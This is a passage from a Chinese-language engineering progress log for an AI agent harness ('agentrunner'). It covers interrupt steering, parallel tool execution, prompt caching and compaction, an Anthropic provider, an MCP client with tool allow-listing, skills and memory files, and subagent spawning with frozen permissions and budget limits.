interrupt**(一次,缓冲送)→ 取消当前 activity、run 继续; +第二个 Ctrl-C / SIGTERM = 硬取消 → ctx cancel → abort。新 cancel cause +`errs.ErrUserInterrupt`(canceled 类)。 + +- `Loop.interruptScope(ctx)`:每个 LLM/tool activity 外包一层——interrupt + 到达 → `cancel(ErrUserInterrupt)`;`steered(actCtx)` 判定。LLM 被 steer + → journal InputReceived{interrupt}(audit,source==interrupt 不进 + conversation)→ **continue**(decide 见 turn 无 assistant msg → 重跑, + interrupt 已消费不循环)。tool 被 steer → ActivityCancelled 已渲染 + `[interrupted by user]`(S3 fold)→ journal interrupt → continue,模型 + 下一 turn 反应。 +- **500ms 交互取消宽限**:bash killGroup 按 cause 选 grace—— + ErrUserInterrupt → `bashInterruptGrace`(500ms),timeout → 5s; + killGroup 签名加 grace 参数。 +- awaitApproval 的 denied-by-interrupt(3.5)与 steering 互斥(审批在 + adjudicate 内、activity 之前,parked 时无 interruptScope 活动)。 + +**验证**:steering during LLM(卡住的 model call → 中断 → 取消 activity ++ interrupt input + discard surface → 重跑完成);steering during bash +(pid marker → 中断 → 5s 内杀掉、ActivityCancelled、模型见 +[interrupted by user] → 完成);测试改 send-once 语义(blockingApprover +加 ready 信号,parked 后再送 interrupt)。 + +**回访项结论**: +- AGENTRUNNER_APPROVE=always footgun(S3 递延,4.2 后复审):**维持 + 文档级,不改**。交互路径是 3.10 TTY resolver;EnvApprovals 专为 + 非-TTY loop-mode,`=always` 是显式 opt-in(CI/自动化的自觉选择), + 与 --mode bypass 同类"你明确要求了才生效"。复审确认非对称收紧 + (project allow→ask)对**交互**用户仍有效,footgun 仅在显式 + auto-approve 下失效,可接受。 + +**Decisions**: +- interrupt 通道 send-once(缓冲 1)而非 close-once:steering 需可消费 + 的单次事件,close 会让所有后续 activity 立即取消(closed channel 恒 + 可读)。 +- steering LLM 不把 interrupt 放进 conversation(source==interrupt 语义 + 沿用 S2.14):CLI 无 steering 文本;带文本的 steering 属交互 WAIT_INPUT, + 留后续。 + +## S4.3 并行 tool call — DONE(预期返工 #2 落地) + +**同一 assistant turn 的多个 allow 的 tool call 并发执行。** `decide()` +不再逐个返回 tool call,而是把当前 turn 全部未决 call 一次性返回 +(`action.calls []provider.ToolCall`);单 call 是退化情形,无独立路径。 + +`Loop.doTools` 两阶段: +- **阶段一 串行裁决**:每个 call 顺序过 `adjudicate`——ask 就地 park + 在 resolver 上(一个 turn 的多个 ask 顺序审批,不抢弹窗);每个 allow + 的预算预留在下一个裁决读预算前已折进 fold。**裁决串行正是 + reserve-then-settle 在真并行下不超支的原因(3.7d TOCTOU 复验):不并行化 + 裁决,就没有共享 fold 的读改写竞态。** deny 就地渲染 model-visible + 错误结果,不执行。 +- **阶段二 并发执行**:allow 的 call 各起一个 goroutine 跑 `exec.Do`。 + **fold 单线程,所以并发的 journal 写全部过单一 mutex 串行化的 appendE + ——这是 S4.3 的核心不变量。** 因此 ActivityCompleted 按**到达序**落盘; + assembly 从 fold 的 ToolResults(map,call_id 键)按 assistant message + 的 tool_call **原序**重排回填。一个 `interruptScope` 覆盖整批:steering + 中断取消整批,每个被取消的 call 已在 fold 渲染 `[interrupted by user]`, + 中断本身在批次 join 后 journal 一次。 + +**验证**(`parallel_test.go`): +- `TestParallelToolCalls`:三个 `sleep 0.3` bash 并发跑完 <0.7s(串行需 + ~0.9s),三个结果都进 fold 且非错误——墙钟即并发证明。 +- `TestParallelToolArrivalOrder`:发起序 c1/c2/c3,完成序 c2/c3/c1 + (0.1/0.3/0.5s 错开);断言 journal 的 ActivityCompleted 顺序 = 完成序 + (到达序),而 `Assemble` 回填的 tool_result 顺序 = 发起序(call_id 键 + map 不受落盘序扰动)。 +- `TestParallelToolBudgetNoOverspend`:一个 turn 三个 execute call(各 + 2000),预算 5000——串行裁决使 b1+b2(4000)通过、b3(将达 6100)被拒; + 逐事件 replay 断言 settled+reserved 全程 ≤5000。3.7d 的合成并发测试 + (mutex 模拟)在此升级为真 goroutine 并行。 + +**Decisions**: +- **统一路径,不留单 call 快路径**:N=1 走同一 goroutine+mutex 批处理 + (mutex 无争用)。理由:并发机制被最常见的 N=1 路径充分覆盖,而非仅在 + 罕见多 call turn 才走到;两条路径的维护成本与漏测风险更大。 +- **裁决串行、执行并行**(而非全程并行):预算预留在裁决阶段发生,串行 + 裁决让 reserve-then-settle 无 TOCTOU;执行阶段无预算门,可安全并行。 + 符合执行包"ask 本身串行审批"且把 3.7d 不变量落到"裁决不并行"。 +- **crash matrix 改一 turn 一 tool**:原 matrix 的 read+edit 同 turn 在 + S4.3 下并发,race 了 `after_exec_before_journal` 的每活动计数器(两 + goroutine 命中序不定),且非幂等 edit 在 read 崩溃点变 in-doubt。为保 + matrix 作为**确定性顺序**崩溃门,改为 read(t1)/edit(t2)/done(t3) + 一 turn 一 tool;并发多 tool 行为由 `TestParallelToolCalls` 单独覆盖。 +- **golden fixture read/edit 改指不同文件**:`TestLoopRequestAssemblyGolden` + 原 read 与 edit 同文件,并发下 read 结果 race edit(可能读到改后 + 内容),golden 不确定;改为 read `notes.txt`、edit `greet.txt`,拼装 + 形状(两 call 两 result、角色与序)覆盖不减而结果确定。 +- **同 turn 同资源的 tool call 竞态属模型责任**:模型同时发起 read+edit + 同一文件即声明二者独立;harness 并发执行(与主流 agent 一致),不做 + 隐式排序。 + +## S4.4c caching — DONE + +**两部分:计费口径 + prefix 字节稳定。** + +- **计费口径 `input + output − cache_read`**:`provider.Usage.Billed()` + 成为预算计费单一真相(clamp 于 0,cache_read 多于 input 时不倒贴预算); + `budgetView.SettledTokens` 与 LimitExceeded 的 used 均改用 `Billed()`。 + raw Input/Output 仍供 CLI 展示与遥测。scripted/record 的 UsageEvent 补 + `cache_read_tokens` 字段以便 fixture 驱动缓存场景。 + 验证 `TestBudgetBillsCacheReadDiscount`:raw 1100 会超 1000 预算,但 + 800 为 cache_read → billed 300,run 正常完成;`TestUsageBilledClamp`。 +- **env 块 session-start 冻结(DESIGN §context-assembly 不变量)**:cwd + + date 在 session start 渲染成 `` 冻进 `RunStarted.Env` → + fold 进 `Run.Env`;`Assemble` 按 DESIGN 固定序把它放 system prompt 最前 + (env → spec prompt → mode suffix)。date 用 Clock.Now() 冻结,故同日多 + turn 的 prefix 逐字节稳定(prompt caching 经济性所系)。 + 验证 `TestRenderEnvBlockDeterministic`(同日不同时刻不变、空 cwd 空块)、 + `TestAssemblyPrefixByteStable`(跨 turn conversation 增长而 system 前缀 + 字节相同)。golden 用 FakeClock 固定日期 + normalizeRequests 归一化 + ``(cwd=tempdir 属环境特定)。 + +**Decisions**: +- **`Run.Env` 加字段不 bump run 版本**:sub-state 版本规则原文是"shape + changes **incompatibly** 才 bump"。`Env`(omitempty)是加性可选字段—— + 旧 snapshot 无该字段 fold 成 `Env=""`(恰为零值),旧 binary 丢弃未知 + 字段,双向兼容,非不兼容变更,故不 bump。保持已有 8 个 sub-state 均 + version 1。 +- **env 块只放会话稳定项(cwd+date),不含 git 状态**:DESIGN 举例含 git + 状态,但 git 每 turn 变、需冻结才稳定;当前 workspace 抽象无 git seam, + 贸然跑 git 既 scope creep 又对非 git 目录脆弱。cwd+date 已锁住 DESIGN + 真正在意的不变量(volatile 数据 session-start 冻结);git 状态待 + workspace 长出 git 接缝再补(追加消息进上下文,不改 prefix)。 +- **env 块置于 system 最前、mode suffix 殿后**:DESIGN 序为 harness base + → env → memory → tool dirs → spec prompt;harness base / memory / tool + dirs 尚未落地,当前实为 env → spec prompt → mode suffix。mode suffix 仅 + 在显式 mode 跃迁时变(决策 #10 接受的 cache 断裂),放最后使 env+spec + 前缀最大化稳定。 + +## S4.4d signature 往返 — DONE(基础设施 S1 已备,本步补验证) + +**opaque provider payload(Gemini thoughtSignature)逐字节往返。** 链路 S1 +起即备齐:`Part.Extras map[string]json.RawMessage` → `CollectTurnStreaming` +把 `ToolCall.Extras` 拷进 assistant message 的 tool_call part → +`AssistantMessage` event 持久化(JSON round-trip)→ fold 存入 +`Conversation.Messages` → `assembleMessages` 原样 append 整条 assistant +message,故下一 turn 请求里 tool_call part 的 Extras 逐字节回传。harness +从不解析或再生成签名。 + +`toolCallsOf`(decide/adjudicate/execute 用)丢弃 Extras 属正确:签名只在 +assembly 回传时需要,而 assembly 读整条 message,不经 toolCallsOf。 + +验证 `TestSignatureRoundTrip`:turn1 tool_call 带 Extras{thought_signature}, +断言(a)turn2 assembled 请求的 tool_call part Extras 与原值 `bytes.Equal`, +(b)assistant_message event 持久化的 Extras 亦逐字节一致。 + +**Decisions**: +- 本步无生产代码改动——4d 是"接口按最终形态设计(1.2)"承诺的兑现点: + S1 就把 Extras/Signature 落位,S4 只需驱动多轮测试证明不变量成立。 + +## S4.5 compaction — DONE + +**ContextCompacted 作为 recorded activity 改变 fold 视图 + 跨边界 fold 等价。** + +- **event**:`ContextCompacted{upto_turn, summary, dropped_turns, summary_ref}` + ——S4 内联 summary,summary_ref 预留 ArtifactStore(计划原文)。注册进 + Registry + 加进 round-trip sample。 +- **新 sub-state `compaction`(version 1,2.4 声明的 S4 新增)**: + `Compaction{Summary, Boundary, UptoTurn}`。fold ContextCompacted 时 + `Boundary = len(当前 messages)`(冻结当下消息数),full message log 保持 + 完整(log 是 truth),latest compaction wins(二次压缩的 summary 已含前 + 一次,boundary 前推)。 +- **assembly 视图**:`assembleMessages` 在 Boundary>0 时以单条 summary user + message 取代 messages[0:Boundary],其后消息照常拼装。 +- **recorded activity `compactContext`**:以当前(可能已压缩的)视图为输入 + 跑 summarizer LLM(harness-owned system prompt),idempotent,产出 + ContextCompacted。**不过 permission pipeline**(harness 内部维护调用, + 非模型指令),但其 usage 结算进预算。 +- **触发**:turn 边界(doTurn 且 turn>1),`compactionDue` 纯判定—— + `estimateContextTokens(assembled view) > spec.model.compact_at_tokens` + 且 messages 超出 Boundary+1(保证每次压缩吃掉≥2 条新消息、不逐 turn 抖)。 + 基于**已压缩视图**估算 → 新 summary 使估算落回阈值下,压缩自终止。 + +**验证**:`TestCompactionFoldView`(边界后视图=summary+边界后消息,前缀内容 +不泄漏)、`TestCompactionFoldEquivalence`(在每个 seq 切开 prefix→snapshot→ +tail,跨 ContextCompacted 边界 fold 等价)、`TestCompactionTriggeredInLoop` +(低阈值 + 大 turn1 → ContextCompacted 落盘、turn2 请求带 summary 不带原文)。 +另修 `statetest.AssertFoldEqual`:补齐 effects/mode/budget/compaction 四个 +此前**漏比**的 sub-state(等价断言此前静默不覆盖它们)。 + +**Decisions**: +- **触发阈值用绝对 `compact_at_tokens` 而非 DESIGN 的 trigger_ratio×window**: + ratio 需 per-model context window,尚未建模;v0 用估算 token 绝对阈值, + 记为 trigger_ratio 的占位简化。估算用 bytes/4 粗口径(provider 无关, + 压缩触发只需数量级信号)。 +- **compaction 不过 permission/budget pipeline**:它是 harness 内部维护 + 调用,模型从未指令;usage 仍结算进预算(压缩耗 token 计费),但不被 + budget gate 拦(v0 简化,记档)。 +- **compact activity idempotent**:崩溃在 Started 与 ContextCompacted 之间 + → resume 重跑 summarizer(非 in-doubt);ContextCompacted 仅在 activity + 完成后落盘,重跑收敛(代价:崩溃时 summarizer usage 轻微重复计,可接受)。 +- **新 sub-state 使版本集长度 8→9**:checkVersions set-length 变化 → 旧 + session 不可 resume。属计划内(2.4 明列"S4 加 compaction 视图"),原型 + 无持久 session,可接受。 + +## S4.6 finish reason 策略 — DONE + +**异常 finish reason 的 loop 策略。** `provider.FinishReason` 加两枚: +`malformed_tool_call`、`blocked`。 + +- **malformed_tool_call → MalformedToolCall event + 有界重试**:LLM 调用 + 完成但 Finish==malformed → 落 `MalformedToolCall{turn, raw, error}` + (raw 取累积 assistant text)、发 KindDiscard(复用 discard 信号)、 + **不落 AssistantMessage** → `continue` 使 decide 见 turn 无 assistant msg + → 重跑同 turn。durable 计数 `Run.MalformedRetries`(fold: + MalformedToolCall++,TurnStarted/AssistantMessage 归零)超 + `maxMalformedRetries=2`(即第 3 次)→ 发 KindError、epilogue 收尾 + reason `malformed_tool_call`。 +- **blocked(safety)→ 用户可见 error 收尾**:Finish==blocked 或 other → + 先落 AssistantMessage 保留已有文本 → 发 KindError → epilogue reason + `blocked`。DESIGN/PLAN 口径:provider 把 safety/blocked 映射到 + FinishOther/blocked,S4 上浮为用户可见 error。 +- **空 candidate**:无 text 无 tool call 的 end_turn → assistant message 空 + → decide 见无 tool call → doEnd(completed),干净收尾不空转。 + +**验证**(`finish_test.go`):malformed 重试后成功(1 个 event、completed)、 +malformed 耗尽(3 个 event、reason malformed_tool_call、1 个 KindError、 +末事件 run_ended)、blocked 收尾(reason blocked、KindError + 保留 message)、 +空 candidate 单 turn completed。 + +**Decisions**: +- **malformed 重试在 loop 层而非 activity retry**:malformed 不是 provider + error(流成功完成、Finish 标注),故不能走 ActivityExecutor 的 class-based + retry;在 doLLM 收到 turn 后判 Finish,不落 assistant message + continue + 即天然重跑,durable 计数保证有界且跨 resume(resume 后计数从 fold 恢复)。 +- **FinishOther 与 FinishBlocked 同等上浮**:PLAN 明言 safety/blocked 用 + 既有 FinishOther 表示;为让线上 provider 可显式标 blocked,加 FinishBlocked + 枚举,二者都触发用户可见 error 收尾。 +- **Run.MalformedRetries 加性字段不 bump 版本**:与 Env 同理,omitempty + 加性可选,双向兼容。 + +## S4.7 Anthropic provider + capabilities 矩阵 — DONE + +**第二 provider 实现 + capabilities 抽象验证。** + +- **`internal/provider/anthropic`(anthropic-sdk-go v1.56.0)**:New(从 + ANTHROPIC_API_KEY)、Capabilities、Complete(streaming)。Complete 用 + SDK 的 `Message.Accumulate` 累积完整消息:response text 逐 delta 实时 + 流出(thinking delta 不外露——内部推理),流闭合后从累积消息派生 + tool call / usage / finish。转换:normalized Message/Part ↔ Anthropic + blocks(tool_result 进 user 角色;assistant 按 thinking→text→tool_use + 固定序,API 校验此序)。 +- **thinking 签名往返**:Anthropic thinking block(text+signature)按 + 签名校验内容,故必须逐字节回放。捕获进 assistant tool_call 的 + `Extras["anthropic.thinking"]={thinking,signature}`,回传时在 tool_use + 前 `NewThinkingBlock(sig,thinking)` 复原。 +- **capabilities 矩阵**:`Capabilities{Thinking, PromptCaching, ParallelTools}` + 三旗标(此前空 struct);gemini/anthropic 均声明三者 true。 + `internal/provider/capabilities_matrix_test.go`(package provider_test) + 跨 provider 断言矩阵——零值 Provider 即可(Capabilities 静态,无需 client)。 +- **thinking 进 spec.model + 显式降级**:`ModelSpec.Thinking{Enabled, + BudgetTokens}` → `CompleteRequest.Thinking` → Assemble 注入。各 provider + 自映射(gemini `ThinkingConfig`、anthropic `ThinkingConfigParamOfEnabled`, + budget floor 1024);**provider !Capabilities.Thinking 时 loop 显式降级** + (drive 起始 slog.Warn 一次 + doLLM 清空 req.Thinking),非静默。 +- **per-provider error 映射**:anthropic `*sdk.Error.StatusCode` → + `errs.FromHTTPStatus`(3.9 归一化的线上侧);transport 层归 ProviderServer + (可重试)。cache_control:system block 打 ephemeral 断点(4c prefix + 稳定使其生效)。 +- **CLI 接线**:provider factory 加 `anthropic` 分支。 + +**验证**:anthropic 单测(capabilities、mapFinish、classify 状态映射、 +toParams thinking+cache、toTools schema、thinking 往返序、emitAccumulated +tool call 带 thinking、坏 part 拒绝、转换错误经 stream 上抛);capabilities +矩阵;loop thinking 降级(supported 透传 / unsupported 清空);live 冒烟 +(pong + 双 turn tool+thinking 往返,`-tags live`,无 key 则 skip)。 + +**Decisions**: +- **thinking delta 不作为 text 外露**:内部推理不污染 response 文本; + 签名往返从累积消息取,不需流式外露。summarized thinking 的用户可见 + 呈现留后续。 +- **Anthropic tool_use CallID 用 provider 原生 block.ID**(id-based 配对, + 与 Gemini 的 positional call__ 相对);send-back 的 tool_result + 引用同 id,天然一致。 +- **降级在 loop 而非 Assemble**:Assemble 保持纯 + 无 caps 依赖(签名不动、 + 测试不改);loop 查一次 caps,doLLM 清 req.Thinking。both provider 均支持 + thinking,降级路径靠 scripted(caps 全 false)与 caps 覆盖 wrapper 测试。 +- **新增依赖 anthropic-sdk-go v1.56.0**(go.mod/go.sum);go mod tidy 干净。 + +## S4.8 inspect v0 — DONE + +**`agentrunner inspect [--json]`——events 命令的人读进化。** events +dump 原始日志,inspect 按人理解 run 的方式渲染: + +- **头部**:spec / model / mode / status(带 reason)/ turns。 +- **timeline**:按 turn 分组,每条 activity 一行——`kind name call_id + verdict[gate] tokens`。llm/compact/tool 三类(按 ActivityID 前缀 llm-t / + compact-t / 其余判)。 +- **每 call 判定**:从 EffectResolved 建索引(tool 按 CallID、llm 按 + eff-llm-tN),`decidingGate` 取产生该 verdict 的 gate(deny 取首个 deny + gate,否则末 gate)+ reason。 +- **token/cost/cache 列**:per-call 从 ActivityCompleted.Usage 读 + input/output/cache_read;汇总从 fold 的 Run.Usage(input/output/ + cache_read/write + Billed())+ Budget.ReservedTotal()。 +- `--json` 输出结构化 inspectReport。CLI dispatch + usage 加 inspect。 + +**实现要点**:ActivityCompleted 无 name/call_id(在 ActivityStarted 上), +故走一遍把 ActivityStarted 按 ActivityID 建索引,ActivityCompleted 查回 +name/callID。纯函数 `buildInspectReport(events, state)` 便于单测。 + +**验证**:`TestBuildInspectReport`(craft 事件日志→llm allow+tokens、tool +deny+permission gate、billed=input+output−cache_read)、`TestRenderInspect` +(timeline/turn/billed/reason 出现在人读输出)。 + +**Decisions**: +- **无 $ cost 列,用 billed token**:代码库无 per-model 价目表(预算用 + token-equivalent),故 "cost" 呈现为 billed token(input+output−cache_read, + 4c 口径);真实 $ 定价留后续价目表。 + +## Stage 4 出口对抗式 review — 三镜头(correctness/concurrency · security · contract/DESIGN) + +三个并行 reviewer 覆盖 S4 全量 diff(3ef3578..HEAD)。核心不变量确认成立: +S4.3 并行 tool call 无 data race(所有并发 journal 写过单一 mutex 化 +serialAppend,ds.s/ds.lastID 读改写全在临界区,ds.s 仅 wg.Wait() 后读); +S4.5 compaction 自终止且崩溃安全;S4.6 malformed 有界(第 3 次逃逸,无 +off-by-one);sub-state 版本 8→9 + checkVersions 正确;statetest.AssertFoldEqual +覆盖全 9 个 sub-state;capability 降级在 doLLM 与 compactContext 两条装配路径 +均不漏;assembly 序与 prefix 稳定成立;protocol 用户/模型可见错误分道。 + +**修复(3 项)**: +- **[P1] Anthropic Usage.Billed() 少记预算**(correctness + contract 双报): + `Billed()=input+output−cache_read` 依 Gemini 口径(PromptTokenCount 含 + cached)。Anthropic `input_tokens` **不含** cache_read/cache_creation,原 + adapter 逐字透传 → 双重折扣,暖 cache run 计费趋 0、可能永不触 + LimitExceeded。修:adapter 把 InputTokens 归一为**总输入**(+ + CacheReadInputTokens + CacheCreationInputTokens),与 Gemini 口径一致; + Billed 变 uncached+creation+output(cache_read 折扣、creation 计费)。 + 测试断言归一(input 18 / billed 19)。 +- **[P1] recorder Extras 未脱敏**(security):`toEvent` 逐字拷 tool call + Extras,而 Anthropic adapter 往 `Extras["anthropic.thinking"]` 塞模型 + 完整推理文本(可回显读到的凭据),经 WriteFixture 写入**提交的 fixture** + = credential-to-repo。修:新增 `redactExtras`,每个 Extras 值过 + redactString。主 journal 路径不受影响(appender 整 payload text-redact)。 +- **[P2] Anthropic pause_turn → end_turn 静默截断**(latent):pause_turn + 语义是"续跑本 turn",映射到 end_turn 会让无 tool call 的暂停响应被 + decide 判为 completed 提前结束。修:pause_turn 归 FinishOther → loop 上浮 + 为用户可见 error,不静默截断。 + +**记档为 v0 已知限制(不改)**: +- **[P2 latent] Anthropic interleaved 多 thinking block**:`assistantBlocks` + 的 `len(thinking)==0` guard 使回放只重发首个 thinking block。仅在 + interleaved-thinking beta header 下才有多 thinking block,当前 adapter 不 + 启用该 beta(响应恒单前导 thinking block),故不触发。启用该 beta 属后续。 +- **[LOW] blocked finish 非持久**:blocked/other 收尾先落 assistant_message + 再走 epilogue(reason "blocked"),二者间崩溃则 resume 把无 tool call 的 + assistant message 判为 completed,丢失 blocked reason 与 KindError。窗口 + 窄、run 仍终止;与 malformed(有持久 MalformedToolCall event)不对称。 + 彻底修需新持久 event 或 fold 标记,代价不成比例,v0 记档接受。 + +**Stage 4 正式关闭**。下一步:S5 kickoff refinement。 + +## S5 kickoff refinement — DONE + +PLAN.md 新增 **S5 执行包**:细化生态与多 agent 的 9 模块序列。四条跨切 +硬线:①权限交集冻结绝不上扬(mode 不交集)②树预算 min 聚合不可击穿 +③artifact blob 先于 event(镜像 journal fsync-先于-ack,ref 永不悬空) +④prefix 稳定 under skill/子 agent/memory 目录注入(session start 冻结)。 + +关键决定:MCP 生命周期带外(仅 schema 入 event,resume 带外重连+对账); +子 agent = fresh child run 的 activity(prefix 稳定、故障隔离);审批沿 +correlation 冒泡(预期返工:跨 actor waiting 路由);ArtifactStore 复用 +SnapshotStore 的 CAS 模式;outputs contract 填实 2.16 epilogue auto-publish +槽位(缺 required → parent error);payload_ref 兑现(plan 存 artifact、审批 +带 ref);**S5 不新增 fold sub-state**(骑既有 Activities+correlation,tasks +是 S6)。acceptance:s5_fleet / s5_plan_approval / s5_no_escalation(否定)/ +s5_budget_seal(否定)。 + +三文档一致性:S5 pack 仅细化 PLAN,引用既有 DESIGN 不变量(multi-agent +即 actor、prefix 稳定、CAS 复用、权限非上扬),与 STAGES Stage 5 范围一致, +与 2.4 表"S6 加 tasks、S5 无新 sub-state"一致,未动 DESIGN 不变量。 + +下一步:S5.1 MCP client(官方 go-sdk、生命周期带外、schema 入 event、 +mcp__server__tool 命名、无标签 execute-class、allowed_tools 收窄+否定测试)。 + +## S5.1 MCP client — 进行中(part 1:client wrapper 落地) + +新增 `internal/mcp`(官方 `modelcontextprotocol/go-sdk` v1.6.1): + +- **生命周期带外**:`Conn` 包一个已连接的 `*sdk.ClientSession`(连接 + transport——stdio/in-memory——是调用方职责,不进 event log)。`clientSession` + 接口便于测试替身。 +- **发现 + 归一**:`Discover` → ListTools → `DiscoveredTool{Server, Tool, + Name(mcp__srv__tool), Description, InputSchema, Class}`,按 Name 排序(稳定 + tool face → 稳定 prefix)。 +- **class 映射**:ReadOnlyHint → read;**无标签 → execute**(最保守默认)。 +- **命名**:`QualifiedName`/`SplitName`(只首个 `__` 分割,tool 名可含 `__`)。 +- **Call 分发**:`Conn.Call` 渲染 content(TextContent 拼接)+ 透传 MCP + tool-level IsError(失败是 model-visible 结果,与 built-in 同契约)。 +- **Manager**:多 server 联合发现 + **allowed_tools 收窄**;`Call` 对未列 + 工具**防御性拒绝**(即便模型伪造调用未 advertise 的 MCP tool 也不执行)。 + 重复 server 名拒绝(命名 namespace 工具,冲突则分发歧义)。 + +**验证**(in-memory MCP server,双工具 peek[read-only]/run[untagged]): +命名+class 默认、Call 分发+IsError 透传、Manager allowed 收窄+越权 Call +拒绝(否定测试)、SplitName 边界、重复 server 拒绝。 + +**S5.1 剩余(下一步)**:①discovered schema **入 event**(resume 知 tool +face + 带外重连对账);②MCP tool 接入 loop 的 advertised 面 + permission +class + assembly(mcp__ 工具进 tool registry/ProviderDefs);③resume 时按 +journaled schema 带外重连+漂移检测。本步先落纯 client 抽象(与 agent 内核 +解耦,可单测),集成留后续步。 + +新增依赖:modelcontextprotocol/go-sdk v1.6.1(+ jsonschema-go、uritemplate、 +oauth2、segmentio/encoding 传递依赖);go mod tidy 干净。 + +## S5.1 MCP client — DONE(part 2:schema 入 event + loop 集成 + resume 对账) + +- **`ToolsDiscovered{server, tools[]}` event(S5 首个新 event)**: + `MCPToolDef{Server, Name, Description, Class, InputSchema}`。Registry + + round-trip sample 齐。fold 进 `Run.MCPTools`(加性 omitempty 字段,同 Env + 先例不 bump 版本;**未新增 sub-state**,信守 S5 执行包):per-server 替换、 + 全脸按 Name 排序(稳定 face → 稳定 prompt)。 +- **发现在 Run() journaled**:`discoverMCP`——SetAllowed(spec.allowed_tools) + → Discover → 逐 server 落 ToolsDiscovered。连接本身仍带外。 +- **loop 集成**:toolDefs = builtin + **fold 的** MCPTools(resume 拿到与原 + run 逐字节相同的 face,无需再协商);`toolClassIn/toolIdempotentIn/ + toolTimeoutIn`(state-aware,取代旧 free functions)——mcp read(源自 + ReadOnlyHint)幂等、其余不幂等;**所有 mcp call 均给 execute 墙钟**(跨 + 进程边界,read 也可能挂死);`advertisedTools` 过 fold 取 class(mode 过滤 + 与 builtin 同款:plan mode 隐藏 execute-class MCP tool,测试锁定); + `buildToolRun` 按 `mcp__` 前缀分发到 Manager.Call(tool-level IsError = + model-visible,transport error = activity failure 走 retry/final 渲染)。 +- **S4.3 并发不变量守护**:Activity 配置读 ds.s,原先在 goroutine 内构造 + 会与 serialAppend 的 ds.s 突变竞争——改为**主 goroutine 先构造全部 + Activity**、goroutine 只执行(race 在写测试时发现并修)。 +- **resume 对账**:`reconcileMCP`——journaled face 是本 run 的真相;缺 + tool / class 漂移 / schema 漂移(compact JSON 比对)/ 无 manager 均**拒绝 + resume**(2.13 版本纪律同款,绝不静默吸收)。 +- **spec `allowed_tools`**:AgentSpec 新字段(fully-qualified mcp 名单, + builtin 不受影响);缩窄作用于 advertise + journal + Call 三层。 +- **MCPManager 接口**(SetAllowed/Discover/Call)+ 编译期断言 + `*mcp.Manager` 实现之;测试用 fakeMCP。 + +**验证**:e2e(发现落盘、face 并入 advertise、mcp call 分发、结果入 fold)、 +allowed_tools 否定(不 advertise、不入 journal、伪造调用被拒且 run 继续)、 +plan mode face 过滤、resume 四例(匹配通过 / schema 漂移拒 / 缺 tool 拒 / +无 manager 拒)。全量 check + race 绿。 + +**Decisions**: +- **face 从 fold 读而非 live manager**:resume 语义要求 face 与原 run 一致; + live 只用于执行与对账。 +- **typed-nil 陷阱**:MCPManager 参数必须以接口传递(*fakeMCP nil 指针装进 + 接口非 nil),测试注释记档。 +- **CLI 的真实 stdio server 接线留后续**(spec 声明 mcp server 命令 + 启动 + transport 属配置层,harness 接缝已完备可测)。 + +## S5.2 skills + memory 文件 — DONE + +- **`internal/skill`**:Claude Code 约定发现(`.claude/skills//SKILL.md` + + YAML frontmatter{name, description});**目录只进 name/description/相对 + path,body 绝不进 prefix**(按需加载:模型经 read_file 读 body——不加新 + tool 的 v0 兑现)。name 缺省回落目录名;malformed skill 跳过并列名报错 + (不阻断 run,loop 层降级为 warn);目录块 `` 按名排序 byte-stable。 +- **`internal/memory`**:CLAUDE.md 层级合并——从 workspace root 向上走到 + **git root(含)**收集,**无 enclosing repo 则只取 workspace 自身**(不 + 吸上层无关目录);渲染 outermost first、**近者最后**(近者优先语义:后 + 出现覆盖前面),`` 块每段标注相对路径。 +- **冻结与注入**:RunStarted 加 `Memory`/`Skills`(与 Env 同生命周期,加性 + omitempty 不 bump 版本)→ fold 进 Run → `assembleSystem` 固定序: + **env → memory → skills → spec prompt → mode suffix**(DESIGN §context + 序;harness base 与 tool/子 agent 目录段留后续模块)。中途改文件不扰 + prefix(session start 冻结)。经 appendE 落盘 → 全量 redaction 覆盖 + (memory/skill 文本里的凭据被脱敏)。 + +**验证**:skill(发现+排序+name 回落+相对路径、body 不进目录、无目录 +nil、malformed 跳过存好)、memory(三层级顺序、near-last 渲染、无 repo 停 +在 root)、assembly(五段固定序)、e2e(CLAUDE.md+skill 冻进 RunStarted 入 +prefix、body 不漏、**中途 bash 改 CLAUDE.md 后 turn2 prefix 逐字节不变**)。 + +**Decisions**: +- **按需加载 v0 = read_file 路径引用**,不做专用 skill tool:目录携相对 + path,模型自读;避免新 tool face 扰动。 +- **user-level skills(~/.claude/skills)与 user CLAUDE.md 留后续**:三源 + merge 骨架在 3.4,本步只做 project 层(workspace + 祖先);user 层注入 + 属加性扩展,记档。 +- **memory 无大小上限(v0)**:prefix 膨胀风险记档,S5 出口 review 复查。 + +## S5.3 spawn/await — DONE + +**子 agent = 过管线的 activity,内部是 fresh child run。** + +- **events**:`SpawnRequested{call_id, agent, task, child_session, depth, + budget_tokens}`(裁决 allow 后、child 启动前落盘;fold 计入 `Run.Spawns` + 扇出计数)+ `SubagentCompleted{call_id, agent, child_session, reason, + turns, usage}`(父 log 只存 ref 与摘要,child events 在自己的 journal + ——fresh run 故障隔离)。 +- **spawn_agent tool**(defs/spawn_agent.json,execute class):仅当 + `spec.agents` 白名单非空才 advertise(**face 只依赖 journaled spec**, + resume 无 resolver 也重建同一 face;resolver 缺失是执行期 model-visible + 错误)。`` 目录块 session-start 冻结进 RunStarted.Agents → + assembly 固定序第 4 段(env→memory→skills→**agents**→spec→mode)。 +- **权限交集冻结**:child pipeline = **parent gates ++ child gates**—— + 管线 deny 短路使"全部 gate 都 allow 才执行"天然等于交集语义,只紧不松; + spawn 时构造即冻结。child spec 的 PermissionGate 沿用 parent 的 WS。 +- **mode 不上扬**:child `Mode = parent live mode(批次冻结)`,child spec + 的 mode 字段被清除;**plan mode 根本不能 spawn**(spawn_agent 是 execute + class,hardFloor 不可绕——spawning does work,语义自洽,测试锁定)。 +- **树预算 min 聚合**:`spawnAllowance = min(parent 剩余, child spec 上限)` + (0=无限);spawn effect **整额预留**(EstTokens=allowance)→ 落进 fold + reservation → child 实际 usage 经 ActivityCompleted **结算入父账**, + 预留释放。child 自己的 BudgetGate(allowance) + frozen spec budget 使 + child 内部也优雅 limit_exceeded。 +- **深度/扇出 SpawnGate**(纯 gate,CLI 管线排 FloorGate 后):默认 + depth<2、spawns<8,超限 = deny(model-visible)非 crash。**批内扇出 + TOCTOU 修复**:SpawnRequested 在执行期才落盘,同批第二个 spawn 裁决时 + fold 计数过期——phase 1 维护 `batchSpawns` 计数入 Effect.SpawnCount。 +- **审批冒泡 v0**:child.Approvals = parent resolver(单进程内共享 seam + 即冒泡;跨进程路由 S6 daemon 时复验,执行包已记)。 +- **child 失败不自动重试**:child run 中途 abort → model-visible error + result(盲目重跑整个 child 会重复其副作用,由父模型决定是否重 spawn); + cancellation 走 ctx 